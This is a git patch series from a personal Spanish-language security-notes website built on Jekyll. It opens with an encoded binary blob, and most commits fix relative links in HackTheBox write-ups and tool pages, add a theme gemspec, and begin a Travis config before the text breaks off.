zqJ*jW)cQqBD?)IfzUa;yXEK;YYCU~SDo$3IM`PCz-bHdh{zMmd`bnb#`@Li~E4a^Y zOy$7u$X-sv6S}DD5I-bH*ykcR-A^ma%Q;@Ufv+%?X?RKstezV+9pZ-wQ!2W^%K))f zGjrsyi^v1#Oag3sQci2bA7bUL1l4g!UYtSSdW+XmL%H8l5T+?p$Q*7+j!*1;>#sqM z)lhyuI{KIG5`XEfN(DlbGlQ8G6CPTPch^hPVsc!w8VTjX&T4cSrX|P|EK!{_AFs3M z_io;pRVH)AtlW9-!+ZFX(N2g{{7#-@-%;im`O5nE3_<=Kv5_I9k;$0s@Gafr&E^sV zE(@ZVXF{OC2#U9D#iLi%?5g+O#X`KyI27BQ!^g3F)op=R;l(pQXPxI`{FFfKetYf4 zedJdr|4k?|W-jK6qfaahaW1wH$+_s4t;5{_a}0f{t9X z#aHJIy(njU`hgmG-`K-e0Ox@)wM7{K=n{Zlz(Xr9mw>J{Qf+%*C!T{`lfPI$T093y z5-aE11+#Lv<29|v39}w+D52j!S_XypgBSB=d>{PK-+ZH@@qo;9tZ$e9+0F1EAH%^f zmxwsUkJv;D?PqqGwsSe;mT7cgEjgcd?IN`{~=A96VhF-Oj(2OY)Hi}a2NX>8j}@{9Xwwvr%~D0{7Usb9p_)( z(CI$W2{b}!@wXo2$0f!r({Fn&-Ih(ysOwQt)6oDs$J)?t=oH4yE%EPY-U6jQe2Rn6As9N^5KsTrHcl%y)=A&o08?Bm@QTomhW}_L z0JI_>F)3S%>Rn8{Z}Z`Be)r5Ic9f=m(wHo$c!}GY-_{{LbKApzZ%m-!1lugR?VFrb zJquCTioB=_VrQv)VN(^xo6MwU0R$VN5TsaFw4Czgc`4t~=?hz2$}zIh5H493@oph@ z<2<|KV8pb@#L_xsB#h*Ckb1OY+e4PBGC0gS2U(&FYG|{TcBpVGB>%0XeW(Kx4V4&{ zVPs*LSajlZ#9pxWqK(LZ;lEtujA8d?k&^n9``yr0l_O@_Vdoqa0DH>OmNJZ!YnjpF zI??%WR<>y40lEk{Iu#hwVd~`lGT<6txezv0cS~_EAV=Dn^P;x}S5xLxx8Qufe3?cz zQeYi!(35?vU${E$C$6^ELf6~1>3$>8S*CKma~(EVVrp|gAlWCR7pz=X~v{J)m%6ildt$X##0ukQGbhp-{Fz@ zA1r>H2HrbGuw7VwDs4#?V#=x zn-Hapo2nU60So94go^*{Owqu7{FT17lsM_jr$UR8fgwwiL4AtUCfmZxja;cqW@_8p z_M3<0ELKVDxJ0N{JG;|F&QkiTOo}`{YDjMpm_@5hWX0IXrS^>dV2#B~g7!)}Q<)0> z<(5G@c7Y3w``!_CjE%aZgrI8O6N6@y&P~KZekPyfI2*rO55dx?(Z^8b-Jh<6?XMVG zUFL`wyTw|r9$95?@ueY6C8jJN5gJ#;q8KqrLn#G$QeW-MO9}MY&AR;kcZu2|hAk*h zb=Lnej1_peW>K2Ur>%622TEH=y+_tI8jBY2**8np{GhVv$wt{`AlE|-A_PQTpjN`$ zpvIln;Cq2*i&AxBN;j+h$?kzfRaAxIdsW97&uW(aN~&rl?*wrTGX~%JNx@IAYApK& z=GMI^_Me)sD=<%_paUm!K|O3nWH28_z;!vcqXFjzD`s$`n5#}ODehk2pEj5tUQA2Q zMh7BDRzg?ZDqg{gV_{h0eFaxsg(k*5#y^MP=sj~hNVFq;4-!M3xpJ*T^fDdO9_)aS zKD_k*1XTU?zM1j@!oKU$8gVwY(JI72ueONVz9skZP}SNozj~va;~R!K3X_V+?=8y6 z8|mI8=qrYX%xT(fvfq9~M>k(XM`Z`W7j~lo5a9{=AJ0E|0-KR(E>+Q+i}sT|lxSaf z>6*6snhCojt?U;V_{*_dkYk%7kl_k5ga+arh~=quSvl5wv$oy+1UFxn?TI#BbG79k zvPzZpmX2LrU)Fgsw^H(?8kOcbJ}TXfRJd2`ATlkRvllXrmXMnS*wS)AA%|KUT{!^g zCoPSGvkH2;*%m`qm&7)kAC|11gVJJ_=LNOU1Ncx*=SWuBOcwme!_-ti=t{U;W_#hY zK=>h=N=q?sb8eh!iS7Dc)q6tI*XhYpfNLYU>0z6u3iD&6!E3;UZDhzpE6clQh8_Np z!n^eyh1N`>ga5Kl)-=XyrntZIS;=P~>{qDCwr^~l=z3;OW@7xTU@{QZ*k`>3-IfvQ zT2isQvUEv2P?%2)vCSfdTZ1poOOPzOv?*PIjhJkPM8#;C>oJ1Qm@tr7#b_S(aQsF5CXtqaiF>>-u7Ju z4ABgM`Olp?QGbUt56Kn120xI#VVN@y0pTy!F(lsBZA#E`(>KrMVq_(P0yapk^0oV< z_C10o!;0vtuV6SW0qZ_o_mmtbeEZ7*eQV0u)qgyw*f{ehC2ZIq$T!l@)A_`sesndQ zZ?V|`KAwN9#67yvP*FnOlybOl>mA?L*8V4b;mbOOUaM2Pa}< zUm;oA{xO!M8tQqfF+HHWVexm)rs$a1M7jW;fkM0h0$s=>FmX}~h?Xbg7Owe2HXnDN zc4P+St#L~>H9O?>3DY6hLGLR5)qGHHl(fEesIbl?OGB}3mt`P0mf6n6MRf7DQ~9>M zH1OtSboJmH^a3t|;Xa@L{1W4G;VUqLjQ5v>t-}1%AKU6P#rcxeC-Jd4Ths4_cGX?E zq+o&$M!nr=RJrj9HtmF%)%5+r2EO0lKi#rQ?@_wgazQX6%|eXeF&*a2k^A>GkhP*| ztbdy!BXd?TLv6WD!LQ{W+m0)&edF<;XUQ|WZuj9#!hEeUC;S5mX!Os;;2gTu2EO7o z&7cF^JOA#14Pfyw;{2|Ukq#vYdj?ZxZ2CAXV8?PwIxQ9b;+L&z;QP3KZErL_4Sq!H zX+Ou6JQ8yD%M(3nYZg(dDPI+leEM!KL0VTKT{;DZmDhAA9jLQJ*;baRUy$; zxX0R=t*(LNFtw8bu|wJiVgL0|Tr4B$SPIr)`WA!@&^fY`>;b9=pA& zpgA8Wvu*X~>CM3#m!h6O^};`U9I(`|4v$stYOC)IZs4!h!!(VE3wCUW zy2~$fagUp&DKD^xoS(Y1)A|yKYSl);zAA5k{;)y9m;WB0LIrtSGl3wK9c-lj zT{v-u(QP#PnPg{*^&mcKnFc?>g_hy9dS@H##xgl+Vlg*O-(K8Uzb(`9A^?0M zJqq@FQmA?SByMA`PT%+D(P3q|cP`QVSIvyDN`t5pj;w%h>AQ8@Y-C2FnS^-KUEnui zsacG-W;^a7MDD0G6j_ggDP=A#(aO}VOZ@GX*o`4~zi@pHx!T8%u{4kN^%Ul}-CFts zj?qG3)`_+b#_fx~l0_>QXTmvtFh7eXIV}+K?bEv^dQ_I{C*vw7WAcC;r<9P*&zz zqC>;US+k|3P6xW`O`7}wbhr0cvg@?Evl;S0q}6er@8Ps#Sdz!u<*fr@C%?e*+0!|G z>4S0qkWEO{-n+@p;U2f!O1H7uoot(G`+vszj#rsr-qVA3f)|5&_pMS~=lYeMc*j&s z)7X|4JN~|Qv^k^k25+?`_H#aHG>79JpziwHc+C#Mw`o`e-Rn#sbT~y{iom{dl%kUR zRi4M^ps?q;h0_7{W;%kC_K6yRe+5ElnuL|C4P}Q&CZa&Ov>PPs2`l z)26;id?sNmDB@{TU;8Snry8E$TLoZ8!hv;Z0aMA$-h0(WIyw$t<4%Q8jnleQ&z5mJ zatchiF%2eMn!>3@`V%W2WiZ5xe|zL~AtdTWW3<;n6MwU;zHIC`zHQ&!hO53}vkC0A zx%RZ_8Di`!zWwLQkwB#5;4GUsW>6fn7h`TIAWh*H$hlL=yHKa>tQx;*IrLY3@EShi zn`H?;;xlA+4!23YBoZMFRuRyYT#~Tx@Z$2$h*Y*?v1Ik&^1P1!s6)4~IEZ3h#I{b; zew6{s^d?+(9Q0xTe%nqUzMA;s(Pxs^>}CTi`d+IJAlX6x2-Lk5udC|unq_pI{kzsA z5pQ3<8$DC;ty2y1#E32 z_g33kk%$Rzo~Q>5aV|G`g$xOz0!)H-ED<_?RsD4ewxnt0Uc#f8Y9-`WVBcI+Aa)Tl z2{b=tpy2oW+zKn(O`rtGiwGI;4cPs`E5zR}w7mRB!UGh<27+?$(+!oXl%vFf;CK{r zN%I;_?^qvGNyTfRQ^gGzq&%w}x+MNd-$lvFZr0$NrFUOej}ZrE`-citsUe*Sd^Oaf zo=unIRy`bb>AG3?L1LRd`p+w#5Y? zI<%+VG#ceV94q#lL;)axqLA)NHI{?>i7SqN+y7{%gV-wHO1&@3LHF`9i zjsv^OE@Fg-Aw|uRQRw8zjhj5ia@eb(A|Iz(f+=fUN5K@tjiOce6huwwR8)MnuJBtB zuOO7o>}!@$xRoeyEoRmybm8-FEp-vA>DsrG4KJ}UQV=aFEf3asm3Jf&H%bS`RAiWU zls*R5xRuB5st*Nc@|s?1#6K*3esPiYhlQ-U7|K*?fYUh z9^8u{1k$Q6G?MmU>!(_WgD7t5QkwTNm9|P+C_$yO($AqZx)@DyRBO0@qS;RDT*S{S zXH~dJBexNZK_nottjDqLC9>|s&Tb%1_of7vD#!KsyD-lH7^aXcSpz+VxCHPusZ2tYQc)^mh6M#-`c1$?;C|%vfpV1@qE9o zGU%Mz^jvn9ZV?2Tl_D8{G(v|q45&^3;i&8^4%i$}_z>0Sphy!j07NAK$fO2fl!osA zYwinxXeg_QFaV_NwgqxYtpl_F6TbuR(Eyz}-%X5d{)`v$>Aja5{F?7=+?AE~j~C*u zoLDn3=v{(aPk8EcC8X{OdGg*sz3k;4nZbH${l^dVo&E8yE zO-yT!cpFg}F05`f>Oabb=1O}#eY3-^Lzgvf&dW#7j`A>?SHZ6NV_h_?Z{^oPGq(#C zz0;i!3|a~pG>Gnh$Pc3VAN2o+`~dFL$Z48+*wTh_&|Ug};13A<{{#Q!lWL-$6-xyD z>FLz#-gSNx>6(r2)iWSc(BJ<~MNdc@Vqo`fqH|qqLBt=hV7Jo?U!5`CyP9g6L7}<> zYMyJqp{$E!^ z%4k0$lzoL3VhxjAB?7zu)^ZkN%y+zwc8Jjzo|b#0Yr_54YK^1-oe%J8dlfykB-|nI z7d=z&pG12Q6TirxjPy~-?&qfVvZZ&ET9eeMXhxZs=xO&NMp>u}O9ukxJ{Np0SnK-! zmiGcicpwDK3%(?$h79s)4Wo~!Ngs9k5;h4ItW%e|N=juAD35LBprkKjBudV6r!Q*{SxGU_G@V0k@f>=eP}>dhXnr8ZHWjiyx`|@ zL)RxWATC;L7(uXVS`yP5fxRpb! z9_66t*RH61Yii%fgQmJbWvFaafOP#} zVIqE4M2I&-`m+ZS(S|eI>d=pJ>B;1{qu=?SGbH^Wmt90WRpm*Z?dQ!O>=&5saZsy6 ze@~sI_bM?;#Gn`N>wbz*03TFFeDy&znvTTF7v3<58B~zj)Q!~YsOQd#AQ>|+l*|k> zIt=~1cD2ZADRooH_%1EVm>8pNHZ$@9WNRC(km+jG$_CwaX9tUs4A7W6-%kx(w(4P{Uo$>WWyF+;K%#!-Tl*@qJ&GNla_Ex;K4fZ{#ADpX6 zUtoJy_qA9p#urgN5?5Wc>4Yw};kh!50jYewFQQi38tr}&A(ni&aMBuUma$4Od7l-e ziW|H-n)TsEag2-0)aCmk5}Vq^MMm>Jww!&8B)#e)mV(Ad)iH?wgltoTLT@#03^Us0 zs$xfgPts=$=bJtxcn*)GPCA8%2ajsKS~|C;Gy+ zCmaGoMcO_(hR)5jRZ(d*>c?mH(5Lp~2<(CoHm z8%#q5i!7)aQOr>ct^5UkShOK4J&l8tk}iLgF**Kkvo54$5NrgYyN&Izy;8};^sFG< zle?aYOc{pk*$uS9tFFUMXTnMZ1rFTuT9WbLvl35NelFOR^m4>p;<=_Ob6p*;#<6+h5 z5tdSocl~Ttq9DG}6g#;bGm>c4LSOq7g9q#Q7`Y`LBU{_k&#=s?Mm z-B6YXu$fl@3rR&yM+4Nl`Ts3FH7gCfu!x7eS*V#ej6KbN#{SsZ`8cU& z(>dfq(wn2#%m1{+6X|M{g!Ae4Hk}VnKDwX9h_y1GTn&G%AAbLK<~%)_#(FqbOPm8a zpLzKfo8WLfo4+JEUL3#v?)7`H_NFT1+kxAuGB@7_HNjrDTzzJcL^084> z;F)}B)ZKC8iK`+kA8ywneGfUV6|Fs@jHnJt+O2tqkdl>ks SP$x8bN5we!**WNZ{Qm%iVZUqu From 3666f1b41501c8467893de019924f9412d313b89 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 01:22:48 +0200 Subject: [PATCH 0784/1701] Update jekyll-theme-hacker.scss --- _sass/jekyll-theme-hacker.scss | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_sass/jekyll-theme-hacker.scss b/_sass/jekyll-theme-hacker.scss index b6f553fc2db..3c5b9d923eb 100644 --- a/_sass/jekyll-theme-hacker.scss +++ b/_sass/jekyll-theme-hacker.scss @@ -78,7 +78,7 @@ header h1 { header h1:before { - content: "./ "; + content: ""; font-size: 24px; } From 45f20625cfdd7d371007b9d01db411480d7a2b64 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 01:25:20 +0200 Subject: [PATCH 0785/1701] Update Fase_de_reconocimiento-HTB.md --- Web/Articulos/Fase_de_reconocimiento-HTB.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Web/Articulos/Fase_de_reconocimiento-HTB.md b/Web/Articulos/Fase_de_reconocimiento-HTB.md index 133c2f5ff85..9705f1aef88 100644 --- a/Web/Articulos/Fase_de_reconocimiento-HTB.md +++ b/Web/Articulos/Fase_de_reconocimiento-HTB.md @@ -36,7 +36,7 @@ --- -## [NMAP](../Herramientas_y_Scripts/Nmap.html) +## [NMAP](../Web/Herramientas_y_Scripts/Nmap.html) Tras conocer la máquina a la que nos enfrentamos pasaremos analizar los protocolos tcp/udp. @@ -74,7 +74,7 @@ --- -## [NMAP](../Herramientas_y_Scripts/Nmap.html) +## [NMAP](../Web/Herramientas_y_Scripts/Nmap.html) ### ESCANEO EXHAUSTIVO: From 168fb91a3df1ed421e372e9de40de6378722a38f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 01:27:23 +0200 Subject: [PATCH 0786/1701] Update Hash-Identifier.md --- Web/Herramientas_y_Scripts/Hash-Identifier.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Web/Herramientas_y_Scripts/Hash-Identifier.md b/Web/Herramientas_y_Scripts/Hash-Identifier.md index d0526b560de..3602c25577b 100644 --- a/Web/Herramientas_y_Scripts/Hash-Identifier.md +++ b/Web/Herramientas_y_Scripts/Hash-Identifier.md @@ -6,6 +6,6 @@ Hash Identifier es una herramienta basada en Python que le permite identificar r Admite más de 220 tipos de hash únicos mediante expresiones regulares. Es capaz de identificar un solo hash, analizar un archivo o leer varios archivos en un directorio e identificar los hash dentro de ellos. -También es capaz de incluir el modo hashcat correspondiente y/o el formato [JohnTheRipper](./john_the_ripper.html) en su salida. +También es capaz de incluir el modo hashcat correspondiente y/o el formato [JohnTheRipper](./Web/Herramientas_y_Scripts/john_the_ripper.html) en su salida. From 1a60c806db5405ef664de81002e91d0c97ccbdb5 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 01:28:46 +0200 Subject: [PATCH 0787/1701] Update HashCat.md --- Web/Herramientas_y_Scripts/HashCat.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Web/Herramientas_y_Scripts/HashCat.md b/Web/Herramientas_y_Scripts/HashCat.md index 0c6e43c3843..e73a4437143 100644 --- a/Web/Herramientas_y_Scripts/HashCat.md +++ b/Web/Herramientas_y_Scripts/HashCat.md @@ -35,7 +35,7 @@ Para ver las distintas optiones y como ejecutar la herramienta: hashcat --help Para ejecutar la herramienta, debemos especificar en que algoritmo esta basado el hash, esto podemos verlo meidante -la herramientas [HashID](./HashId.html) o [Hash-Identifier](./Hash-Identifier.html). +la herramientas [HashID](./Web/Herramientas_y_Scripts/HashId.html) o [Hash-Identifier](./Web/Herramientas_y_Scripts/Hash-Identifier.html). Crearemos un archivo, por ejemplo 'hash2' y pegamos el número hash que queremos descifrar. From de4064e844fd5c666640130d8616dc0dbae1131e Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 01:32:42 +0200 Subject: [PATCH 0788/1701] Update ZSH.md --- Web/Linux/ZSH/ZSH.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Web/Linux/ZSH/ZSH.md b/Web/Linux/ZSH/ZSH.md index 922ec5d189e..6a46ad3f834 100644 --- a/Web/Linux/ZSH/ZSH.md +++ b/Web/Linux/ZSH/ZSH.md @@ -62,5 +62,5 @@ La ZSH funciona leyendo el archivo `.zshenv` a menos que se especifique el argum # Funciones: -### [Función SetTarget](f1r0x.github.io/Linux/ZSH/Settarget.html) +### [Función SetTarget](f1r0x.github.io/Web/Linux/ZSH/Settarget.html) From b08f7426b97c84ae001beaa9faed88c19d32d1ad Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 01:33:28 +0200 Subject: [PATCH 0789/1701] Update Linux.md --- Web/Linux/Linux.md | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/Web/Linux/Linux.md b/Web/Linux/Linux.md index 57ad0a8f198..d488cb84c78 100644 --- a/Web/Linux/Linux.md +++ b/Web/Linux/Linux.md @@ -5,19 +5,19 @@ de dispositivos, gestores y administradores de terminales, etc. En mi caso estoy # Introducción a Linux: -[¿Qué es Linux?](../Linux/Introducción_a_Linux/Introducción_a_Linux.html) +[¿Qué es Linux?](../Web/Linux/Introducción_a_Linux/Introducción_a_Linux.html) -[Comandos Básicos en Linux](../Linux/Introducción_a_Linux/Comandos_básicos_Linux.html) +[Comandos Básicos en Linux](../Web/Linux/Introducción_a_Linux/Comandos_básicos_Linux.html) -[Busqueda de Archivos en Linux](../Linux/Introducción_a_Linux/find.html) +[Busqueda de Archivos en Linux](../Web/Linux/Introducción_a_Linux/find.html) Escalada Básica de Privilegios en Linux --> [Link](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) # Dispositivos: -[Bluetoothctl](../Linux/Introducción_a_Linux/Bluetoothctl.html) +[Bluetoothctl](../Web/Linux/Introducción_a_Linux/Bluetoothctl.html) -[Ventoy](/f1r0x.github.io/Linux/Programas_para_Linux/Ventoy.html) +[Ventoy](/f1r0x.github.io/Web/Linux/Programas_para_Linux/Ventoy.html) # Programas de Descargas: Estos son distintos programas de Descarga de archivos para diferentes plataformas y archivos. @@ -25,14 +25,14 @@ Estos son distintos programas de Descarga de archivos para diferentes plataforma ### Torrent Para descargar archivos Torrent desde la Terminal. -[Aria2](../Linux/Programas_para_Linux/Aria2.html) +[Aria2](../Web/Linux/Programas_para_Linux/Aria2.html) ### Youtube Para descargar tanto vídeos como audio de Youtube desde la Terminal. -[Youtube-dl](../Linux/Programas_para_Linux/Youtube-dl.html) +[Youtube-dl](../Web/Linux/Programas_para_Linux/Youtube-dl.html) # Intérete de Comandos: Un intérprete de órdenes o de comandos, es un programa informático que tiene la capacidad de traducir las órdenes que introducen los usuarios, mediante un conjunto de instrucciones facilitadas por él mismo directamente al núcleo y al conjunto de herramientas que forman el sistema operativo. -[ZSH](../Linux/ZSH/ZSH.html) +[ZSH](../Web/Linux/ZSH/ZSH.html) From f0ee29c061c9aa42c4e1860598615bd74a9c3ea0 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 01:34:20 +0200 Subject: [PATCH 0790/1701] Update HTB-Blue.md --- Web/Maquinas-HTB/HTB-Blue.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Web/Maquinas-HTB/HTB-Blue.md b/Web/Maquinas-HTB/HTB-Blue.md index 7f6fa45568a..8784e337dd9 100644 --- a/Web/Maquinas-HTB/HTB-Blue.md +++ b/Web/Maquinas-HTB/HTB-Blue.md @@ -22,7 +22,7 @@ Ejecutamos un `ping` y vemos como nos reporta un ttl=127, por tanto, ya sabemos ![Captura de pantalla -2022-05-13 02-23-49](https://user-images.githubusercontent.com/103068924/168258904-068e429f-b39a-4aa5-84f2-921190929c68.png) -## [留](../Herramientas_y_Scripts/Nmap.html) NMAP +## [留](../Web/Herramientas_y_Scripts/Nmap.html) NMAP Ahora mediante `nmap` realizaremos un escaneo de puertos: @@ -108,7 +108,7 @@ conocidas del sistema y `safe` lo utilizamos para no causar ningún tipo de dene Vemos que `Metasploit` nos reporta el exploit `SMB Remote Code Execution Scanner (MS17-010) (Metasploit)`. Vamos abrir Metasploit y a buscar si disponemos del exploit. - ## [留](../Herramientas_y_Scripts/Metasploit.html) Metasploit + ## [留](../Web/Herramientas_y_Scripts/Metasploit.html) Metasploit Abrimos Metasploit: From 919c4ca1a50198ea3233ddb4019613b2fb9f1057 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 01:35:02 +0200 Subject: [PATCH 0791/1701] Update HTB-Cap.md --- Web/Maquinas-HTB/HTB-Cap.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/Web/Maquinas-HTB/HTB-Cap.md b/Web/Maquinas-HTB/HTB-Cap.md index 4b46cf18443..a8d2cad309f 100644 --- a/Web/Maquinas-HTB/HTB-Cap.md +++ b/Web/Maquinas-HTB/HTB-Cap.md @@ -6,7 +6,7 @@ En primer lugar, nos creamos un directorio con el nombre de la máquina desde el sudo mkdir Cap -Ahora, mediante la función [`mkt`](../Herramientas_y_Scripts/mkt.html) que tengo previamente definida en la `.zhshrc` crearemos nuestros directorios de trabajo: +Ahora, mediante la función [`mkt`](../Web/Herramientas_y_Scripts/mkt.html) que tengo previamente definida en la `.zhshrc` crearemos nuestros directorios de trabajo: sudo mkt @@ -21,7 +21,7 @@ Ejecutamos un `ping` y vemos como nos reporta un ttl=63, por tanto, ya sabemos q ![Captura de pantalla -2022-05-09 22-50-48](https://user-images.githubusercontent.com/103068924/167497195-d69bd6ca-65fc-4ad6-97e9-7ba11627fdad.png) -Verificamos mediante la herramienta [WishSystem](../Herramientas_y_Scripts/WichSistem.html) que nos encontramos frente +Verificamos mediante la herramienta [WishSystem](../Web/Herramientas_y_Scripts/WichSistem.html) que nos encontramos frente a un sistema Linux. ## WhatWeb @@ -32,10 +32,10 @@ Ahora vamos a ver mediante `whatweb` que más podemos ver: ![Captura de pantalla -2022-05-09 23-01-58](https://user-images.githubusercontent.com/103068924/167497948-0a37ea37-6d93-4b33-9ca9-c55c76d70e0a.png) -Vemos que no nos reporta nada interesante, así que vamos a proceder mediante [`Nmap`](../Herramientas_y_Scripts/Nmap.html) a tratar de reportar todos +Vemos que no nos reporta nada interesante, así que vamos a proceder mediante [`Nmap`](../Web/Herramientas_y_Scripts/Nmap.html) a tratar de reportar todos los puertos abiertos. -## [留](../Herramientas_y_Scripts/Nmap.html) NMAP +## [留](../Web/Herramientas_y_Scripts/Nmap.html) NMAP Ahora mediante `nmap` realizaremos un escaneo de puertos: From 2311565be4d235397d45cf84da9ba897cf1cd507 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 01:35:32 +0200 Subject: [PATCH 0792/1701] Update HTB-Jerry.md --- Web/Maquinas-HTB/HTB-Jerry.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Web/Maquinas-HTB/HTB-Jerry.md b/Web/Maquinas-HTB/HTB-Jerry.md index d46a16d818c..1dc5a97ebe7 100644 --- a/Web/Maquinas-HTB/HTB-Jerry.md +++ b/Web/Maquinas-HTB/HTB-Jerry.md @@ -6,7 +6,7 @@ En primer lugar, nos creamos un directorio con el nombre de la máquina desde el sudo mkdir Jerry -Ahora, mediante la función [`mkt`](../Herramientas_y_Scripts/mkt.html) que tengo previamente definida en la `.zhshrc` crearemos nuestros directorios de trabajo: +Ahora, mediante la función [`mkt`](../Web/Herramientas_y_Scripts/mkt.html) que tengo previamente definida en la `.zhshrc` crearemos nuestros directorios de trabajo: sudo mkt From bda11033934f015b3e609589fd53d9f11c53a5b1 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 01:37:23 +0200 Subject: [PATCH 0793/1701] Update HTB-SwagShop.md --- Web/Maquinas-HTB/HTB-SwagShop.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Web/Maquinas-HTB/HTB-SwagShop.md b/Web/Maquinas-HTB/HTB-SwagShop.md index f672e528a18..549cccb8cea 100644 --- a/Web/Maquinas-HTB/HTB-SwagShop.md +++ b/Web/Maquinas-HTB/HTB-SwagShop.md @@ -7,7 +7,7 @@ En primer lugar, nos creamos un directorio con el nombre de la máquina desde el sudo mkdir SwagShop -Ahora, mediante la función [`mkt`](../Herramientas_y_Scripts/mkt.html) que tengo previamente definida en la `.zshrc` crearemos nuestros directorios de trabajo: +Ahora, mediante la función [`mkt`](../Web/Herramientas_y_Scripts/mkt.html) que tengo previamente definida en la `.zshrc` crearemos nuestros directorios de trabajo: sudo mkt From 4c2cb66d6bd4dbf2c42bd05ca47b5255baf8d216 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 01:40:33 +0200 Subject: [PATCH 0794/1701] Update HTB-Vaccine.md --- Web/Starting Point/HTB-Vaccine.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Web/Starting Point/HTB-Vaccine.md b/Web/Starting Point/HTB-Vaccine.md index a4718e00f62..6caa536cd13 100644 --- a/Web/Starting Point/HTB-Vaccine.md +++ b/Web/Starting Point/HTB-Vaccine.md @@ -298,7 +298,7 @@ Para ello, vamos a ver dos formas de crakear un hash, en primer lugar utilizarem ### HashCat: -[HashCat](../Herramientas_y_Scripts/HashCat.html) es un descifrador de contraseña popular y eficaz. Mediante esta herramienta trataremos de descifrar el hash, en primer +[HashCat](../Web/Herramientas_y_Scripts/HashCat.html) es un descifrador de contraseña popular y eficaz. Mediante esta herramienta trataremos de descifrar el hash, en primer lugar, crearemos un arhivo llamado `hash2` donde guardamos el hash a descifrar. Para crear el archivo: From 2da1bd31e3f8fd92b5306479643519fc33edf0b4 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 01:41:00 +0200 Subject: [PATCH 0795/1701] Update Windows.md --- Web/Windows/Windows.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Web/Windows/Windows.md b/Web/Windows/Windows.md index 53c3665aad7..406a6272eed 100644 --- a/Web/Windows/Windows.md +++ b/Web/Windows/Windows.md @@ -1,3 +1,3 @@ # Terminal de Windows -[Administrar Usuarios y Permisos](../Windows/Administrar_Usuarios_y_Permisos.html) +[Administrar Usuarios y Permisos](../Web/Windows/Administrar_Usuarios_y_Permisos.html) From 7b7f9c691f91bad50d5d0b635981a8432b800674 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 03:08:31 +0200 Subject: [PATCH 0796/1701] Create jekyll-theme-hacker.gemspec --- jekyll-theme-hacker.gemspec | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) create mode 100644 jekyll-theme-hacker.gemspec diff --git a/jekyll-theme-hacker.gemspec b/jekyll-theme-hacker.gemspec new file mode 100644 index 00000000000..893e841f9b8 --- /dev/null +++ b/jekyll-theme-hacker.gemspec @@ -0,0 +1,24 @@ +# frozen_string_literal: true + +Gem::Specification.new do |s| + s.name = "jekyll-theme-hacker" + s.version = "0.2.0" + s.license = "CC0-1.0" + s.authors = ["Jason Costello", "GitHub, Inc."] + s.email = ["opensource+jekyll-theme-hacker@github.com"] + s.homepage = "https://github.com/pages-themes/hacker" + s.summary = "Hacker is a Jekyll theme for GitHub Pages" + + s.files = `git ls-files -z`.split("\x0").select do |f| + f.match(%r{^((_includes|_layouts|_sass|assets)/|(LICENSE|README)((\.(txt|md|markdown)|$)))}i) + end + + s.required_ruby_version = ">= 2.4.0" + + s.platform = Gem::Platform::RUBY + s.add_runtime_dependency "jekyll", "> 3.5", "< 5.0" + s.add_runtime_dependency "jekyll-seo-tag", "~> 2.0" + s.add_development_dependency "html-proofer", "~> 3.0" + s.add_development_dependency "rubocop-github", "~> 0.16" + s.add_development_dependency "w3c_validators", "~> 1.3" +end From 1666d2ed67593f392da648bd87a07902f869da4e Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 03:12:31 +0200 Subject: [PATCH 0797/1701] Update jekyll-theme-hacker.gemspec --- jekyll-theme-hacker.gemspec | 2 ++ 1 file changed, 2 insertions(+) diff --git a/jekyll-theme-hacker.gemspec b/jekyll-theme-hacker.gemspec index 893e841f9b8..6b0c7f45d80 100644 --- a/jekyll-theme-hacker.gemspec +++ b/jekyll-theme-hacker.gemspec @@ -1,3 +1,5 @@ +# Necesario para establecer Bundler. + # frozen_string_literal: true Gem::Specification.new do |s| From ee795bf245cdb88e89624a92ecc3ef27c231c15a Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 03:15:44 +0200 Subject: [PATCH 0798/1701] Create .travis.yml --- .travis.yml | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100644 .travis.yml diff --git a/.travis.yml b/.travis.yml new file mode 